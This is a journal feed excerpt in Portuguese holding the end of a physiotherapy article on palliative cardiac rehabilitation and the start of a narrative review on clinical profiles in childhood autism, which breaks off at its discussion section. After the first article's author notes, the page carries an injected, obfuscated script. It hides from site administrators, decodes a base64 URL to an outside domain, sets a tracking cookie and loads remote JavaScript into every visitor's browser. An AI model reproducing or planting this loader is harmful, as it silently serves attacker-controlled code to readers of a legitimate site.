<p class="wp-block-paragraph">A reabilitação cardíaca paliativa configura-se como uma aplicação especializada dos princípios da reabilitação paliativa ao contexto cardiovascular, harmonizando os objetivos tradicionais da reabilitação cardíaca como melhora da capacidade funcional, controle sintomático e redução de hospitalizações com os fundamentos da reabilitação paliativa, que incluem o manejo refinado de sintomas refratários, a adaptação funcional às limitações progressivas, o suporte psicossocial abrangente e o alinhamento terapêutico com os valores e preferências individuais <a href="https://www.zotero.org/google-docs/?IdSREh">(50,51).</a> Esta abordagem reconhece que pacientes com insuficiência cardíaca em estágios avançados podem simultaneamente beneficiar-se de intervenções que promovam condicionamento físico adaptado, estratégias compensatórias para conservação de energia, prescrição de tecnologias assistivas, e modificações ambientais que facilitem a participação em atividades significativas <a href="https://www.zotero.org/google-docs/?HRMLcS">(49,51).</a> A reabilitação paliativa, portanto, não se limita à manutenção do status funcional, mas busca ativamente a recuperação de capacidades perdidas quando possível, a adaptação criativa quando a recuperação não é viável, e a prevenção de declínio funcional adicional através de intervenções proativas e individualizadas que considerem tanto a fisiopatologia da doença quanto o contexto biográfico e existencial de cada pessoa <a href="https://www.zotero.org/google-docs/?knEWAp">(46–48).</a>&nbsp;</p>



<p class="wp-block-paragraph">A fisioterapia, na reabilitação paliativa cardiovascular, transcende o papel de mera executora de protocolos de exercício, assumindo uma função de articuladora do cuidado e especialista em funcionalidade humana <a href="https://www.zotero.org/google-docs/?TAgaEs">(45,52,53).</a> No modelo integrado de cuidados paliativos cardiovasculares, o fisioterapeuta atua como elemento catalisador da entrega de valor, conceito que na saúde baseada em valor é definido pela razão entre desfechos relevantes para o paciente e custos ao longo do ciclo completo de cuidado. A intervenção fisioterapêutica precoce e continuada, fundamentada nos princípios da reabilitação paliativa, demonstra impacto mensurável em múltiplas dimensões de valor: redução de hospitalizações não planejadas através da otimização da capacidade de reserva funcional e do ensino de estratégias de autogestão; diminuição da polifarmácia ao oferecer alternativas não farmacológicas para manejo de dispneia, fadiga e dor <a href="https://www.zotero.org/google-docs/?gL1MRb">(47–49);</a> e potencial redução de custos sistêmicos através da prevenção de complicações evitáveis, da utilização mais racional de recursos de alta complexidade e do adiamento ou redução da necessidade de cuidados institucionais de longa permanência <a href="https://www.zotero.org/google-docs/?mijrGM">(46,52).</a> Além disso, a fisioterapia na reabilitação paliativa promove o que se pode denominar &#8220;valor relacional e existencial&#8221;, ao facilitar a manutenção de papéis sociais significativos, a participação em rituais familiares e comunitários, e a preservação da identidade pessoal através da funcionalidade, aspectos frequentemente negligenciados em métricas tradicionais de efetividade, mas centrais na experiência vivida da doença avançada <a href="https://www.zotero.org/google-docs/?Utl5CJ">(47,48,52).</a>&nbsp; A operacionalização deste modelo integrado demanda uma reconfiguração tanto conceitual quanto estrutural dos sistemas de saúde, exigindo que fisioterapeutas desenvolvam competências avançadas não apenas em prescrição de exercícios para populações complexas, mas também em avaliação funcional multidimensional, raciocínio clínico adaptativo diante de prognósticos incertos, comunicação de más notícias, tomada de decisão compartilhada e planejamento antecipado de cuidados <a href="https://www.zotero.org/google-docs/?fvrN8T">(45,51,53,54).</a> A formação em reabilitação paliativa requer o domínio de estratégias específicas como a prescrição de exercícios de baixa intensidade e alta significância, técnicas de conservação de energia, manejo não farmacológico de sintomas limitantes, adaptação de atividades de vida diária, e a habilidade de recalibrar objetivos terapêuticos dinamicamente conforme a trajetória da doença evolui <a href="https://www.zotero.org/google-docs/?MsXByb">(49,51,52).</a> Requer, igualmente, a construção de fluxos assistenciais que permitam a identificação precoce, idealmente no momento do diagnóstico de insuficiência cardíaca avançada de pacientes que se beneficiariam desta abordagem dual <a href="https://www.zotero.org/google-docs/?WojHLL">(44,50),</a> a implementação de avaliações multidimensionais periódicas que capturem tanto parâmetros fisiológicos quanto funcionais e existenciais <a href="https://www.zotero.org/google-docs/?NgpyDf">(46,52),</a> e o estabelecimento de métricas de qualidade que reflitam genuinamente o que importa para pacientes e famílias <a href="https://www.zotero.org/google-docs/?Wfb3lw">(45,50).</a> Nesta perspectiva, a fisioterapia na reabilitação paliativa cardiovascular não representa um paradoxo ou uma contradição de termos, mas sim uma síntese sofisticada e necessária que honra a complexidade da experiência humana diante da doença avançada, reconhecendo que viver bem, manter-se funcional e participativo, e viver plenamente, mesmo diante de limitações progressivas e prognóstico reservado, constitui a essência da entrega de valor centrada na pessoa e o objetivo último de sistemas de saúde verdadeiramente humanizados <a href="https://www.zotero.org/google-docs/?YDRqR7">(44,45,54).</a>&nbsp;</p>



<p class="wp-block-paragraph"><strong>4. CONCLUSÃO/CONSIDERAÇÕES FINAIS&nbsp;</strong></p>



<p class="wp-block-paragraph">A transição acelerada para sistemas de saúde baseados no valor na cardiologia representa uma resposta necessária aos desafios de qualidade, eficiência e equidade. Neste cenário, a reabilitação paliativa surge como abordagem integrada, recomendada por diretrizes internacionais, que transcende a concepção terminal dos cuidados paliativos para uma perspectiva longitudinal focada na otimização da funcionalidade e qualidade de vida.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A fisioterapia demonstra papel multifacetado na reabilitação paliativa cardiovascular. Mais do que executora de protocolos de exercício, a profissão se estabelece como articuladora do cuidado e especialização em funcionalidade humana, com impacto mensurável em fases relevantes: redução de hospitalizações, redução da polifarmácia, melhoria de indicadores relatados pelos pacientes e potencial redução de custos sistêmicos.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">As implicações teóricas deste trabalho residem na consolidação de um corpo de conhecimento que reforça a fisioterapia como componente estratégico na entrega de valor em saúde cardiovascular, ampliando sua identidade profissional para além das intervenções tradicionais. Do ponto de vista prático, os resultados fornecem subsídios para gestores, formuladores de políticas e profissionais de saúde implementarem modelos integrados de cuidado que otimizem recursos, melhorem a experiência dos pacientes e promovam a sustentabilidade dos sistemas de saúde.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Contudo, o estudo identifica limitações importantes que merecem atenção. A falta de unificação conceitual nos cuidados em saúde baseados em valor, apesar de sua estrutura estabelecida, dificulta a reprodutibilidade e aplicabilidade do modelo. Além disso, persistem desafios importantes na mensuração de resultados e na alocação de recursos, evidenciando a necessidade de métodos mais robustos de avaliação de custos.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Para pesquisas futuras, recomenda-se uma investigação aprofundada das barreiras e facilitadores para a implementação de modelos de cuidado baseados em valor, incluindo aspectos organizacionais, culturais e financeiros. É fundamental desenvolver e validar instrumentos de mensuração de resultados que capturem a complexidade da reabilitação paliativa, contemplando dimensões físicas, psicossociais e espirituais. Estudos que avaliam a efetividade e custo-efetividade da fisioterapia em diferentes contextos assistenciais e ambientais específicos contribuem para fortalecer a base de evidências. Além disso, a exploração de novas agendas estratégicas, como a melhoria da qualidade baseada no valor, a integração do conceito de valor na comunicação com pacientes e familiares, e o desenvolvimento de plataformas de aprendizagem para profissionais de saúde, podem acelerar a necessidade de transformação dos sistemas de saúde.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Por fim, este trabalho reforça que uma transição de modelos de saúde baseados em volume para modelos baseados em valor não representa apenas uma mudança técnica ou administrativa, mas uma transformação paradigmática que coloca o paciente no centro do cuidado. A fisioterapia, ao assumir seu papel como articuladora deste cuidado integrado e humanizado, contribui decisivamente para a construção de sistemas de saúde mais equitativos e sustentáveis. Na reabilitação paliativa cardiovascular, a fisioterapia pode ser exemplificada como um elemento estratégico e fundamental dentro de um modelo integrado de cuidados. A mensuração de desfechos relevantes e o foco na funcionalidade podem gerar valor genuíno para pacientes com insuficiência cardíaca, suas famílias e a sociedade. O desafio que se apresenta é transformar esse conhecimento na prática clínica cotidiana, superando barreiras organizacionais e culturais, e consolidando uma cultura de entrega de valor que beneficia todos os envolvidos no processo de cuidado.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong>&nbsp;&nbsp;&nbsp;</p>



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</ol>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Discente do Programa de Pós Graduação em Fisioterapia Cardiovascular, Instituto Nacional de Cardiologia&nbsp;(INC), Rio de Janeiro, Brasil. e-mail: dannyelbarbirato@gmail.com<br><sup>2</sup>Docente do Programa de Pós Graduação em Fisioterapia Cardiovascular, Instituto Nacional de Cardiologia (INC), Rio de Janeiro, Brasil. Mestrando em Ciências Cardiovasculares (MPCC/INC). e-mail:&nbsp;sfelipec@gmail.com</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PERFIL CLÍNICO E VARIABILIDADE FENOTÍPICA NO TRANSTORNO DO ESPECTRO AUTISTA: UMA REVISÃO DE LITERATURA</title>
		<link>https://revistaft.com.br/perfil-clinico-e-variabilidade-fenotipica-no-transtorno-do-espectro-autista-uma-revisao-de-literatura/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Wed, 31 Dec 2025 15:53:24 +0000</pubDate>
				<category><![CDATA[Fisioterapia]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202512311325 Maria Gisélia Alves da SilvaBruna Siqueira Amaral FreitasMaria Eduarda Vieira AlvesAna Clara Silva MenérioCésar Roberto da SilvaLucas Antônio dos Santos SilvaÉlio Batista AlvesLisandra Karoline Silva LimaJakson Henrique SilvaOrientador:&#160; Prof. Me. Kaíque Ferreira Alves RESUMO&#160; Introdução:&#160; O&#160; Transtorno&#160; do&#160; Espectro&#160; Autista &#160; (TEA)&#160; caracteriza-se &#160; por&#160; déficits persistentes&#160; na&#160; comunicação&#160; e&#160; interação&#160; social,&#160; [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512311325</p>



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<p class="has-text-align-right wp-block-paragraph">Maria Gisélia Alves da Silva<br>Bruna Siqueira Amaral Freitas<br>Maria Eduarda Vieira Alves<br>Ana Clara Silva Menério<br>César Roberto da Silva<br>Lucas Antônio dos Santos Silva<br>Élio Batista Alves<br>Lisandra Karoline Silva Lima<br>Jakson Henrique Silva<br>Orientador:&nbsp; Prof. Me. Kaíque Ferreira Alves</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong>&nbsp;</p>



<p class="wp-block-paragraph"><strong>Introdução:&nbsp; </strong>O&nbsp; Transtorno&nbsp; do&nbsp; Espectro&nbsp; Autista &nbsp; (TEA)&nbsp; caracteriza-se &nbsp; por&nbsp; déficits persistentes&nbsp; na&nbsp; comunicação&nbsp; e&nbsp; interação&nbsp; social,&nbsp; associados a&nbsp; padrões&nbsp; restritos&nbsp; e repetitivos&nbsp; de&nbsp; comportamento. &nbsp; Considerando&nbsp; a &nbsp; ampla &nbsp; heterogeneidade&nbsp; de &nbsp; sua expressão&nbsp; clínica,&nbsp; este&nbsp; estudo&nbsp; teve&nbsp; como&nbsp; objetivo&nbsp; sintetizar&nbsp; as&nbsp; evidências&nbsp; atuais sobre&nbsp; o&nbsp; perfil &nbsp; clínico&nbsp; de&nbsp; crianças&nbsp; com&nbsp; TEA.&nbsp; <strong>Objetivo</strong>:&nbsp; Analisar&nbsp; e&nbsp; sintetizar&nbsp; as evidências científicas recentes sobre o perfil clínico e a variabilidade fenotípica em crianças&nbsp; com&nbsp; Transtorno&nbsp; do &nbsp; Espectro&nbsp; Autista. &nbsp; <strong>Metodologia:&nbsp; </strong>Trata-se &nbsp; de &nbsp; uma revisão&nbsp; narrativa&nbsp; da&nbsp; literatura, &nbsp; realizada&nbsp; nas&nbsp; bases &nbsp; PubMed/MEDLINE,&nbsp; SciELO, Scopus &nbsp; e &nbsp; PEDro, &nbsp; incluindo &nbsp; estudos &nbsp; publicados &nbsp; entre &nbsp; 2020 &nbsp; e &nbsp; 2025. &nbsp; Foram selecionados artigos originais que abordaram características&nbsp; motoras,&nbsp; linguísticas, comportamentais,&nbsp; sensoriais&nbsp; e&nbsp; comorbidades&nbsp; associadas&nbsp; ao&nbsp; TEA &nbsp; em&nbsp; crianças. <strong>Resultados: </strong>Os estudos identificados mostraram ampla variabilidade clínica no TEA infantil,&nbsp; incluindo&nbsp; hipotonia,&nbsp; atraso &nbsp; motor,&nbsp; déficits&nbsp; sociocomunicativos,&nbsp; atraso&nbsp; de linguagem,&nbsp; &nbsp; regressão &nbsp; e&nbsp; &nbsp; comorbidades&nbsp; &nbsp; como &nbsp; distúrbios&nbsp; &nbsp; do&nbsp; &nbsp; sono. &nbsp; &nbsp; Fatores sociodemográficos &nbsp; influenciaram &nbsp; o &nbsp; tempo &nbsp; até &nbsp; o &nbsp; diagnóstico. &nbsp; <strong>Discussão: &nbsp; </strong>Os achados reforçam que os domínios afetados no TEA interagem de forma integrada, com &nbsp; &nbsp; marcadores &nbsp; &nbsp; motores, &nbsp; &nbsp; linguísticos &nbsp; &nbsp; e&nbsp; &nbsp; &nbsp; comportamentais &nbsp; &nbsp; contribuindo conjuntamente&nbsp; para&nbsp; a &nbsp; identificação&nbsp; precoce. &nbsp; Desigualdades&nbsp; sociais &nbsp; impactam&nbsp; o reconhecimento&nbsp; do&nbsp; transtorno.&nbsp; <strong>Conclusão:&nbsp; </strong>A &nbsp; heterogeneidade&nbsp; do&nbsp; TEA&nbsp; exige avaliação multidimensional e ações que promovam diagnóstico precoce, capacitação profissional e redução das desigualdades no acesso ao cuidado.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chaves: </strong>autismo; transtorno do espectro autista; criança; transtornos do&nbsp;Neurodesenvolvimento&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong>&nbsp;</p>



<p class="wp-block-paragraph"><strong>Introduction: </strong>Autism Spectrum Disorder (ASD) is characterized by persistent deficits in&nbsp; communication&nbsp; and&nbsp; social&nbsp; interaction,&nbsp; associated&nbsp; with&nbsp; restricted&nbsp; and&nbsp; repetitive patterns of behavior.&nbsp; Given the wide&nbsp; heterogeneity&nbsp; of&nbsp; its&nbsp; clinical expression, this study aimed to synthesize current evidence on the clinical profile of children with ASD. <strong>Objective: </strong>To analyze and synthesize recent scientific evidence on the clinical profile and phenotypic variability in children with Autism Spectrum Disorder.&nbsp; <strong>Methodology:&nbsp; </strong>This&nbsp; is a&nbsp; narrative&nbsp; literature&nbsp; review&nbsp; conducted&nbsp; using the PubMed/MEDLINE,&nbsp; SciELO,&nbsp; Scopus,&nbsp; and&nbsp; PEDro&nbsp; databases,&nbsp; including&nbsp; studies published&nbsp; between 2020&nbsp; and 2025.&nbsp; Original articles addressing&nbsp; motor,&nbsp; language, behavioral,&nbsp; sensory&nbsp; characteristics,&nbsp; and&nbsp; comorbidities&nbsp; associated&nbsp; with&nbsp; ASD&nbsp; in children were selected. <strong>Results: </strong>The identified studies demonstrated wide clinical variability in childhood ASD, including hypotonia, motor delay, socio-communicative deficits,&nbsp; language&nbsp; delay,&nbsp; regression,&nbsp; and&nbsp; comorbidities&nbsp; such&nbsp; as&nbsp; sleep&nbsp; disorders. Sociodemographic&nbsp; factors&nbsp; influenced&nbsp; the&nbsp; time&nbsp; to&nbsp; diagnosis.&nbsp; <strong>Discussion:&nbsp; </strong>The findings reinforce that the affected domains in ASD interact in an integrated manner, with &nbsp; motor,&nbsp; &nbsp; language, &nbsp; and &nbsp; behavioral&nbsp; &nbsp; markers &nbsp; jointly&nbsp; &nbsp; contributing  to &nbsp; early identification.&nbsp; &nbsp;Social &nbsp; inequalities &nbsp; impact &nbsp; the&nbsp; recognition &nbsp; of   the disorder.&nbsp; <strong>Conclusion:&nbsp; </strong>The&nbsp; heterogeneity&nbsp; of&nbsp; ASD &nbsp; requires &nbsp; a&nbsp; multidimensional assessment and actions aimed at promoting early diagnosis, professional training, and the reduction of inequalities in access to care.</p>



<p class="wp-block-paragraph"><strong>Keywords: </strong>autism; autism spectrum disorder; child; neurodevelopmental disorder.</p>



<p class="wp-block-paragraph"><strong>INTRODUÇÃO</strong>&nbsp;</p>



<p class="wp-block-paragraph">O Transtorno do&nbsp; Espectro Autista,&nbsp; é&nbsp; um&nbsp; transtorno do&nbsp; neurodesenvolvimento caracterizado&nbsp; por&nbsp; déficits&nbsp; persistentes&nbsp; na&nbsp; comunicação&nbsp; e&nbsp; na&nbsp; interação&nbsp; social, combinados com&nbsp; padrões&nbsp; restritos&nbsp; e&nbsp; repetitivos&nbsp; de&nbsp; comportamento,&nbsp; interesses&nbsp; ou atividades&nbsp; (APA,&nbsp; 2013).&nbsp; Desde&nbsp; sua&nbsp; descrição&nbsp; inicial&nbsp; por&nbsp; Leo&nbsp; Kanner&nbsp; em&nbsp; 1943,&nbsp; o entendimento&nbsp; sobre&nbsp; o&nbsp; TEA&nbsp; evoluiu&nbsp; significativamente,&nbsp; principalmente&nbsp; no&nbsp; que&nbsp; diz respeito à sua etiologia, apresentação clínica e heterogeneidade de manifestações (Schwartzman, 2011).&nbsp;</p>



<p class="wp-block-paragraph">A&nbsp; prevalência&nbsp; global&nbsp; do&nbsp; TEA&nbsp; vem &nbsp; crescendo &nbsp; nas&nbsp; últimas&nbsp; décadas,&nbsp; sendo atualmente &nbsp; estimada &nbsp; em &nbsp; 1 &nbsp; para &nbsp; cada &nbsp; 36 &nbsp; crianças, &nbsp; de &nbsp; acordo &nbsp; com &nbsp; dados internacionais. &nbsp; Esse&nbsp; aumento&nbsp; tem&nbsp; sido &nbsp; relacionado&nbsp; à&nbsp; ampliação&nbsp; dos&nbsp; critérios diagnósticos, maior conscientização das famílias e profissionais de saúde, além da expansão dos serviços de rastreamento e intervenção precoce (Lord et al., 2020). No Brasil, embora ainda haja carência de dados epidemiológicos robustos, o&nbsp; IBGE incluiu recentemente variáveis relacionadas ao autismo no Censo Demográfico, com previsão de resultados consolidados para 2025.&nbsp;</p>



<p class="wp-block-paragraph">A apresentação clínica do TEA é ampla e variável, podendo envolver déficits na comunicação&nbsp; social,&nbsp; padrões&nbsp; comportamentais repetitivos, alterações&nbsp;sensoriais, distúrbios do sono, dificuldades alimentares, comorbidades psiquiátricas e condições médicas associadas como epilepsia e distúrbios gastrointestinais&nbsp; (Ruggieri,&nbsp; 2024; Penisi&nbsp; et&nbsp; al.,&nbsp; 2021). Essa&nbsp; diversidade clínica torna essencial a &nbsp; caracterização detalhada do&nbsp; perfil&nbsp; clínico de crianças com TEA, permitindo melhor&nbsp; compreensão das necessidades individuais e das estratégias terapêuticas mais adequadas.&nbsp;</p>



<p class="wp-block-paragraph">Diante disso, torna-se fundamental sintetizar as evidências&nbsp;científicas disponíveis&nbsp; sobre o perfil clínico de crianças&nbsp; com&nbsp;TEA,&nbsp;contribuindo para o aprimoramento &nbsp; das práticas de avaliação e intervenção precoce, bem como subsidiando políticas &nbsp; &nbsp; públicas e programas de atenção integral ao neurodesenvolvimento. Assim, o objetivo desse estudo é&nbsp; analisar&nbsp; e&nbsp; sintetizar&nbsp; as evidências&nbsp; científicas&nbsp; acerca do &nbsp; perfil clínico e da variabilidade fenotípica em crianças com Transtorno do Espectro Autista.</p>



<p class="wp-block-paragraph"><strong>METODOLOGIA</strong>&nbsp;</p>



<p class="wp-block-paragraph">Trata-se de uma revisão narrativa&nbsp;da literatura,&nbsp;com&nbsp;abordagem&nbsp;qualitativa elaborada com o propósito de reunir, analisar e interpretar criticamente as evidências científicas mais&nbsp; recentes&nbsp;acerca&nbsp;do&nbsp; perfil clínico de crianças com Transtorno do Espectro Autista (TEA). Esse tipo de revisão permite uma abordagem abrangente&nbsp; e&nbsp; contextualizada,&nbsp; integrando&nbsp; resultados&nbsp; de&nbsp; diferentes&nbsp; delineamentos metodológicos, a fim de fornecer uma compreensão atualizada e aprofundada sobre as manifestações clínicas do TEA na infância.&nbsp;</p>



<p class="wp-block-paragraph">A&nbsp; busca&nbsp; pelos&nbsp; estudos foi&nbsp; conduzida&nbsp; de&nbsp; maneira sistematizada em&nbsp; bases&nbsp; de dados&nbsp; &nbsp; amplamente &nbsp; &nbsp; reconhecidas &nbsp; &nbsp; pela &nbsp; &nbsp; relevância &nbsp; &nbsp; na &nbsp; &nbsp; área &nbsp; &nbsp; da&nbsp; &nbsp; saúde: PubMed/MEDLINE,&nbsp; &nbsp; SciELO,&nbsp; &nbsp; Scopus&nbsp; &nbsp; e&nbsp; &nbsp; PEDro.&nbsp; &nbsp; &nbsp; Essas&nbsp; &nbsp; plataformas&nbsp; &nbsp; foram selecionadas&nbsp; por sua capacidade de&nbsp; reunir literatura&nbsp; internacional atualizada e de alta qualidade&nbsp; metodológica.&nbsp; Para&nbsp; a&nbsp; construção&nbsp; das&nbsp; estratégias&nbsp; de&nbsp; busca,&nbsp; foram utilizados&nbsp; descritores&nbsp; padronizados&nbsp; dos&nbsp; vocabulários&nbsp; DeCS&nbsp; e&nbsp; MeSH,&nbsp; combinados por operadores booleanos, incluindo: “Autism Spectrum&nbsp; Disorder”, “Child” , “Clinical&nbsp;Profile”, “Pediatric Autism” e “Neurodevelopmental Disorders”, associados por AND e OR para garantir abrangência e precisão na identificação dos estudos pertinentes.&nbsp;</p>



<p class="wp-block-paragraph">Com o&nbsp; objetivo&nbsp; de garantir atualidade&nbsp; e&nbsp; relevância&nbsp; científica, foram&nbsp; incluídos exclusivamente&nbsp; artigos &nbsp; publicados &nbsp; nos &nbsp; últimos &nbsp; cinco &nbsp; anos,&nbsp; compreendendo&nbsp; o período &nbsp; de &nbsp; 2020 &nbsp; a &nbsp; 2025.&nbsp; &nbsp; Foram &nbsp; considerados &nbsp; elegíveis&nbsp; &nbsp; estudos &nbsp; originais, observacionais&nbsp; que&nbsp;abordassem diretamente&nbsp;características clínicas, comportamentais,&nbsp; cognitivas, sensoriais ou comorbidades associadas ao TEA em crianças de 0 a&nbsp; 15 anos. Foram aceitos artigos publicados em português, inglês ou espanhol e disponíveis na&nbsp; íntegra.&nbsp; Estudos que tratassem exclusivamente adultos, pesquisas&nbsp; de&nbsp; revisão&nbsp; de&nbsp; literatura,&nbsp; pesquisas&nbsp; sem &nbsp; descrição&nbsp; de &nbsp; perfil&nbsp; clínico, trabalhos duplicados ou não relacionados ao tema foram excluídos.&nbsp;</p>



<p class="wp-block-paragraph">A seleção dos estudos ocorreu em três etapas: triagem por título, análise dos resumos e leitura na íntegra dos artigos potencialmente elegíveis. Essa avaliação foi realizada &nbsp; por &nbsp; dois &nbsp; revisores &nbsp; de &nbsp; forma &nbsp; independente, &nbsp; garantindo &nbsp; maior &nbsp; rigor metodológico e minimização de vieses. Quando necessário, um terceiro revisor foi consultado para solucionar divergências. Após a seleção, os dados essenciais dos estudos incluídos foram extraídos e organizados em uma matriz analítica contendo informações&nbsp; sobre&nbsp; autor,&nbsp; ano&nbsp; de&nbsp; publicação,&nbsp; país,&nbsp; desenho&nbsp; metodológico,&nbsp; faixa&nbsp;etária analisada e principais características clínicas descritas na literatura. A síntese dos&nbsp; resultados&nbsp; foi&nbsp; apresentada&nbsp; de&nbsp; forma &nbsp; descritiva &nbsp; enfatizando&nbsp; convergências, particularidades e lacunas identificadas nas evidências recentes.&nbsp;</p>



<p class="wp-block-paragraph">Por tratar-se de&nbsp; uma&nbsp; revisão de&nbsp; literatura&nbsp; baseada&nbsp; exclusivamente em dados secundários, sem envolvimento direto de seres humanos, esta pesquisa está isenta de submissão ao Comitê de Ética em Pesquisa, conforme estabelece a Resolução nº 510/2016 do Conselho Nacional de Saúde. Ainda assim, todos os procedimentos foram conduzidos de acordo com os padrões éticos e acadêmicos, assegurando a fidedignidade, a transparência e a integridade científica da presente revisão.&nbsp;</p>



<p class="wp-block-paragraph"><strong>RESULTADOS</strong>&nbsp;</p>



<p class="wp-block-paragraph">A busca na base de dados resultou em um total inicial de 438 estudos. Após a remoção&nbsp; de&nbsp; duplicatas,&nbsp; 425&nbsp; estudos&nbsp; permaneceram&nbsp; para&nbsp; análise. &nbsp; Em&nbsp; seguida, realizou-se a triagem&nbsp; por títulos e resumos, sendo selecionados 58 estudos para leitura do texto completo. Destes, 25 estudos foram excluídos por não atenderem aos critérios de elegibilidade&nbsp; previamente&nbsp; estabelecidos. Ao final do&nbsp; processo,&nbsp; 5 estudos foram incluídos para análise qualitativa, por apresentarem maior aderência ao objetivo proposto e relevância clínica para a temática investigada.&nbsp;</p>



<p class="wp-block-paragraph">O processo de identificação, seleção, elegibilidade e inclusão dos estudos está descrito no fluxograma 1.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Fluxograma 1: Processo de identificação, seleção, elegibilidade e inclusão dos artigos.</strong></p>



<figure class="wp-block-image aligncenter size-full is-resized"><img decoding="async" width="481" height="469" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-263.jpeg" alt="" class="wp-image-261542" style="width:481px;height:auto" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-263.jpeg 481w, https://revistaft.com.br/wp-content/uploads/2025/12/image-263-300x293.jpeg 300w" sizes="(max-width: 481px) 100vw, 481px" /></figure>



<p class="wp-block-paragraph">Os &nbsp;estudos &nbsp; excluídos&nbsp; após &nbsp;a  leitura&nbsp; &nbsp;do &nbsp; texto&nbsp; &nbsp; completo &nbsp; apresentaram, principalmente,&nbsp; inadequação&nbsp; ao&nbsp; objetivo&nbsp; do&nbsp; estudo,&nbsp; amostras&nbsp; que&nbsp; não&nbsp; incluíam exclusivamente&nbsp; crianças,&nbsp; ausência&nbsp; de&nbsp; descrição&nbsp; detalhada&nbsp; do&nbsp; perfil&nbsp; clínico&nbsp; ou foco predominante em intervenções específicas, sem abordagem da variabilidade fenotípica.&nbsp;</p>



<p class="wp-block-paragraph">O número &nbsp; reduzido &nbsp; de &nbsp; estudos &nbsp; incluídos &nbsp; na &nbsp; análise&nbsp; qualitativa &nbsp; reflete &nbsp; a especificidade&nbsp; do&nbsp; recorte&nbsp; temático&nbsp; adotado,&nbsp; bem&nbsp; como&nbsp; os&nbsp; critérios&nbsp; de&nbsp; inclusão estabelecidos, priorizando pesquisas que abordassem de forma abrangente o perfil clínico e a variabilidade fenotípica no Transtorno do&nbsp; Espectro Autista em população infantil. Tal estratégia visou assegurar maior consistência e relevância dos achados analisados.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1: Caracterização dos estudos.</strong></p>



<figure class="wp-block-image aligncenter size-full"><img decoding="async" width="990" height="539" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1661.png" alt="" class="wp-image-261545" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1661.png 990w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1661-300x163.png 300w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1661-768x418.png 768w" sizes="(max-width: 990px) 100vw, 990px" /></figure>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="982" height="610" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1662.png" alt="" class="wp-image-261546" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1662.png 982w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1662-300x186.png 300w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1662-768x477.png 768w" sizes="(max-width: 982px) 100vw, 982px" /></figure>



<p class="wp-block-paragraph"><strong>DISCUSSÃO</strong>&nbsp;</p>



